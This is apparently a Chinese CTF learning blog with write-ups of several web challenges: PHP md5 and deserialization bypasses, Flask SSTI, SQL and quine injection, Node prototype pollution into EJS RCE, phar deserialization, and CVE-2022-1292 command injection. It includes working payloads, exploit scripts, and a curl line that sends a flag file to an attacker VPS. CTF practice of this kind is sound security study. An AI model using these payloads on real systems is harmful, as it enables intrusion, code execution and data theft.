WEEK1 学习

WEB

[NSSCTF 2022 Spring Recruit]babyphp

<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

分析代码可以知道得到flag需要满足的条件如下

1、传参数a的方式是POST传参,传入的值不能是0-9,可以使用数组绕过

2、b1和b2需要他们的值不相等但是他们的md5值相等

3、c1和c2的字符串md5值弱相等,不能使用数组绕过了

QNKCDZO
0e830400451993494058024219903391 s878926199a
0e545993274517709034328855841020 s155964671a
0e342768416822451524974117254469 s214587387a
0e848240448830537924465865611904 s214587387a
0e848240448830537924465865611904 s878926199a
0e545993274517709034328855841020
payload:a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s214587387a

[NISACTF 2022]popchains

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/ class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
} public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
} class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
} public function __get($key){
$function = $this->effort;
return $function();
}
}

这题的几个魔术方法

__toString()	当对象在需要转换成字符串时,会调用此方法
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象
__invoke() 把对象当方法用的时候此方法会被调用
__construct() 对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法)
__get($name) 获取对象不存在的属性或无法访问的属性时调用

include的执行需要通过__invoke(),它包含的内容来自变量var根据后面的提示应该是要用php伪协议读取flag.php里面的内容

第一步应该执行Make_a_Change__get()来调用Try_Work_Hard__invoke()$effort 指向 Try_Work_Hard 的对象观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()

所以 $string 指向 Make_a_Change 的对象这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者

<?php
class Road_is_Long{
   public $page;
   public $string;
   public function __toString(){
       return $this->string->page;
  }
   public function __wakeup(){
       if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
           echo "You can Not Enter 2022";
           $this->page = "index.php";
      }
  }
}
class Try_Work_Hard{
   protected  $var="php://filter/convert.base64-encode/resource=/flag";
   public function append($value){
       include($value);
  }
   public function __invoke(){
       $this->append($this->var);
  }
}
class Make_a_Change{
   public $effort;
   public function __construct(){
       $this->effort = array();
  }
   public function __get($key){
       $function = $this->effort;
       return $function();
  }
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);

[NCTF 2018]flask真香

发现过滤的很多,存在违禁词时会返回500状态,过滤了:

class
subclasses
config
args
request
open
eval
import

可以找到session对象,并且利用其dict的类型来通过字典的键名(键名为字符串,可拼接)来寻找我们需要的类。

通过字符串拼接来绕过过滤,构造:{{session['cla'+'ss']}}然后不断拼接__bases__[0]来一层一层向上查找基类,直到找到object基类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}

再利用__subclasses__去访问object基类下的所有子类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}

我们尝试寻找可以执行命令的子类,主要应该考虑os类,在页面中搜索后找到os._wrap_close类,定位其位置并使用__init__来将其实例化,再使用__globals__来查看所有变量:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}

并且我们也在该类下找到了可以用于执行命令的popen函数:

但是popen也会被过滤,还是使用字符串拼接的方法绕过:

{{""['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
{{""['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

遇到过滤了的关键字就用拼接来绕过

[SWPUCTF 2021 新生赛]sql

看题目的title发现参数就是wllm,先尝试输入一个数字进去,有回显,应该是一个数字型sql注入

?wllm=1'/**/'order/**/by/**/3#//回显正常,长度为3
?wllm=-1'union/** select/**/1,2,3#//找回显位置
?wllm=-1'union/**/select/**/1,2,database()#//查当前数据库
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23//查表test_db数据库下的表
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/ information_schema.columns/**/where/**/table_schema/**/like/**/database()#// 查LTLT表下的字段
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag#//得到flag

[西湖论剑 2022]real_ez_node

在index.js里面看到这么一行代码,发现过滤了__proto__,猜测应该是原型链污染,可以使用constructor.prototype绕过。

if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}

/copy路由中发现ip被限制,一开始觉得可以通过改HTTP头来伪造的,但是发现var ip = req.connection.remoteAddress;说明不能用请求头来伪造ip,应该是要用/curl路由发送SSRF来打copy路由了。这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了。

expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},

expand函数存在原型链污染漏洞

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami); for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

因为这个是ejs的,所以可以直接用它的漏洞

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"} {"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}

编写exp

import requests
import urllib.parse payload = ''' HTTP/1.1 POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close {"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"} GET / HTTP/1.1
test:'''.replace("\n", "\r\n") def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)

[CISCN 2019华北Day1]Web1

这题一打开是一个登录界面,先注册一个账号进入,发现是一个网盘管理系统,看到上传文件先上传一下,上传了一个图片码,但是找不到路径,利用不了。发现还有一个下载和一个删除操作,在下载的时候抓包发现一个任意文件下载漏洞

  • chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

发现里面包含的是class.php

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db; public function __construct() {
global $db;
$this->db = $db;
} public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
} public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
} public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
} public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename);
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
} public function detele() {
unlink($this->filename);
} public function close() {
return file_get_contents($this->filename);
}
}
?>
 public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

看到这个一开始以为可以用sql注入,后来发现USER类里用了bind_param()绑定了username这个变量,所以是不存在sql注入的

class.php里面找到了file_get_content这个函数,发现这个函数在另外两个里面也用到了,if判断里存在open方法,且该方法存在file_exists可以触发反序列化,但是由于不允许有flag字符,所以不能用close()方法来进行任意文件读取,这也说明找准了做题的思路。

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __call($func, $args)函数,其中$func=Name。然后让

$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
  • foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
  • foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
  • echo table 最后打印出来全部数据
<?php
class User {
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
} $o = new User();
$o->db =(new FileList());
echo serialize($o); $phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成phar文件改后缀为jpg,在delete操作中用phar协议读取。

[2021第五空间智能安全大赛] yet_another_mysql_injection

打开题目是一个登录页面,f12发现提示,得到源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
} function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
} if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
} if(isset($_GET['source'])){
show_source(__FILE__);
die;
}

分析源码发现只有password这个是可控的,但是在看下去发现要输入的和数据库里面的完全一致才能得到flag,尝试一下密码爆破结果成功了

sleep 可以用benchmark代替

<,> 可以用least(),greatest()代替

=,in 可以用like代替

substr 可以用mid代替

空格 可以用/**/代替
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28725/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

后来看了一下别人的wp发现好像不是这么做的0.0,用的是quine注入,正好借此学习了一下这个注入方式。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password

replace(object,search,replace)
把object对象中出现的search全部替换成replace CHAR(34)="
CHAR(39)='
CHAR(46)=. select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+ mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的".")

replace(replace(".",char(34),char(39)),char(46),".")

完整的Quine就是Quine基本形式+str基本形式
payload:1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

[CISCN 2022 初赛] online_crt

CVE-2022-1292,主要思路就是生成证书之后,去利用proxy路由请求go server去修改证书的名称为反引号包裹的命令,然后再去访问Python的createlink路由从而调用c_rehash来触发RCE

下载压缩包看app.py源码,给了四个路由/getcrt这个是生成证书的路径,/createlink这个里面用了一个c_rehash的命令,不知道是什么意思,倒是搜出来了一堆的wp,/proxy路由由用户构造报文,可以crlf,附件中还给了goserver看看源码

/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务 @app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html") @app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data) @app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close '''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
c_rehash

题目中出现了 c_rehash

c_rehash是openssl中的一个用perl编写的脚本工具

用于批量创建证书等文件 hash命名的符号链接

最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)

经过搜索网上并没有公开的exp

只能通过diff进行分析

https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8

这个地方对文件名的过滤不严格,没有过滤反引号就直接将文件名拼接到了命令里面

sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_crl($fname) if ($crl);
}
}

发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容

文件内容必须包含证书或者是吊销列表才能通过检查

利用条件
  1. 执行c_rehash 目标目录下文件可控
  2. 文件后缀符合要求
  3. 文件内容必须包含证书或者是吊销列表
  4. 文件名可控

题目中生成证书的功能可以创建一个满足要求的文件

继续看源码,go后端有一个admin路由,用于重命名证书文件

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
} c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}

为了实现可控的文件名 我们需要调用go的重命名功能,go的路由在重命名前有两个校验,c.Request.URL.RawPath != “” && c.Request.Host == “admin”,首先需要绕过这两个验证

Request.URL.RawPath需要我们的路由中存在有编码的内容才有数据,所以尝试构造包

python 在代理请求时直接使用了socket 发送raw数据包,在数据包{uri}处没有过滤,所以我们可以直接在uri注入一个host头来替换原先的头

构造利用链

1、请求/getcrt路由,生成一个证书,返回证书路径

2、请求 /proxy 修改证书名为恶意文件名

3、请求/createlink 触发 c_rehash RCE

payload:uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt

最后curl一下static/crt/jnyghj得到flag

2023-3-6 WEEK1 学习的更多相关文章

  1. 【DeepLearning学习笔记】Coursera课程《Neural Networks and Deep Learning》——Week1 Introduction to deep learning课堂笔记

    Coursera课程<Neural Networks and Deep Learning> deeplearning.ai Week1 Introduction to deep learn ...

  2. 吴恩达《深度学习》-课后测验-第三门课 结构化机器学习项目(Structuring Machine Learning Projects)-Week1 Bird recognition in the city of Peacetopia (case study)( 和平之城中的鸟类识别(案例研究))

    Week1 Bird recognition in the city of Peacetopia (case study)( 和平之城中的鸟类识别(案例研究)) 1.Problem Statement ...

  3. HGAME 2023 WP week1

    WEEK1 web Classic Childhood Game 一眼顶真,直接翻js文件,在Events.js中找到mota(),猜测是获取flag,var a = ['\x59\x55\x64\x ...

  4. 如何在2023年学习React

    在2023年学习React并不是一件容易的事情.自2019年React Hooks发布以来,我们已经拥有了很多稳定性,但现在形势正在再次变化.而这次变化可能比使用React Hooks时更加不稳定.在 ...

  5. DeepLearning.ai学习笔记(四)卷积神经网络 -- week1 卷积神经网络基础知识介绍

    一.计算机视觉 如图示,之前课程中介绍的都是64* 64 3的图像,而一旦图像质量增加,例如变成1000 1000 * 3的时候那么此时的神经网络的计算量会巨大,显然这不现实.所以需要引入其他的方法来 ...

  6. deeplearning.ai 改善深层神经网络 week1 深度学习的实用层面 听课笔记

    1. 应用机器学习是高度依赖迭代尝试的,不要指望一蹴而就,必须不断调参数看结果,根据结果再继续调参数. 2. 数据集分成训练集(training set).验证集(validation/develop ...

  7. deeplearning.ai 神经网络和深度学习 week1 深度学习概论 听课笔记

    1. 预测房价.广告点击率:典型的神经网络,standard NN. 图像:卷积神经网络,CNN. 一维序列数据,如音频,翻译:循环神经网络,RNN. 无人驾驶,涉及到图像.雷达等更多的数据类型:混合 ...

  8. DeepLearning.ai学习笔记(五)序列模型 -- week1 循环序列模型

    一.为什么选择序列模型 序列模型可以用于很多领域,如语音识别,撰写文章等等.总之很多优点... 二.数学符号 为了后面方便说明,先将会用到的数学符号进行介绍. 以下图为例,假如我们需要定位一句话中人名 ...

  9. 吴恩达-coursera-机器学习-week1

    一.引言(Introduction) 1.1 欢迎 1.2 机器学习是什么? 1.3 监督学习 1.4 无监督学习 二.单变量线性回归(Linear Regression with One Varia ...

  10. 【网页开发学习】Coursera课程《面向 Web 开发者的 HTML、CSS 与 Javascript》Week1课堂笔记

    Coursera课程<面向 Web 开发者的 HTML.CSS 与 Javascript> Johns Hopkins University Yaakov Chaikin Week1 In ...

随机推荐

  1. Hive:FAILED: LockException [Error 10280]: Error communicating with the metastore

    1.问题示例 使用hive直接选择查看表中数据报错,而相同语句在spark-sql却不报错. 实在无力吐槽hive了,因它受伤太多了. (1)使用hive hive (test)> select ...

  2. 白鹭egret 控制屏幕方向

    this.stage.orientation=fangxiang; fangxiang值: portrait landscape auto

  3. 利用Vue技术实现的查询所有和添加功能

    就是根据Vue本身的特性,对之前写过的JSON等进行页面代码的简化. 其中,有俩点,需要明白一下: 在body标签里面,使用div标签,将列表数据包住,并设置一个id,便于vue对其的引用 在使用vu ...

  4. git clone的时候出现 fatal: unable to access 'https://github.com/...':OpenSSL SSL_read: Connection was reset, errno 10054解决方法

    git clone的时候出现fatal: unable to access 'https://github.com/...':OpenSSL SSL_read: Connection was rese ...

  5. Activiti7开发(二)-流程定义

    目录 1.部署流程模型为流程定义 2.挂起/激活流程定义 3.删除流程定义 4.查询流程定义 5.上传并部署流程定义 6.查看流程模型 1.部署流程模型为流程定义 @PostMapping(value ...

  6. RTC 科普视频丨聊聊空间音频的原理与其背后的声学原理

    在现在很多的线上实时互动场景中,我们重视的不仅仅是互动体验,还要提升沉浸感.而在很多场景中,仅凭空间音频技术,就可以带来如临其境的体验.空间音频技术的原理是怎样的呢? 看过我们新一期的 RTC 科普视 ...

  7. GUI编程实战--贪吃蛇

    GUI编程实战--贪吃蛇 参考:遇见狂神说 https://space.bilibili.com/95256449 界面绘制 帧:如果时间片足够小,就是动画,一秒30帧.连起来是动画,拆开是静态的图片 ...

  8. TCP三次握手一二三问

    下面整理下TCP握手和挥手的几个问题,参考资料小林图解计算机网络 1.什么是三次握手? Client端向Server端发送SYN为1的报文段,携带一个初始序列号x,client端进入SYN_SENT状 ...

  9. 机器学习算法(九): 基于线性判别模型的LDA手写数字分类识别

    1.机器学习算法(九): 基于线性判别模型的LDA手写数字分类识别 1.1 LDA算法简介和应用 线性判别模型(LDA)在模式识别领域(比如人脸识别等图形图像识别领域)中有非常广泛的应用.LDA是一种 ...

  10. 鼎捷ERP二维码整体解决方案 Tiptop GP条码管理系统 鼎捷ERP移动解决方案 鼎捷条码扫描 鼎捷WMS仓库移动扫码 鼎捷安卓PDA扫码方案 Tiptop 出入库盘点出货条码扫码 提供源码

    本人在ERP实施公司做顾问四五年,参与企业实施ERP十多个项目,非常熟悉企业ERP流程,在实施过程遇到众多问题,提出了不少根据企业具体情况的解决方案. 最近定制开发了一套适合企业的条码扫码平台,基于鼎 ...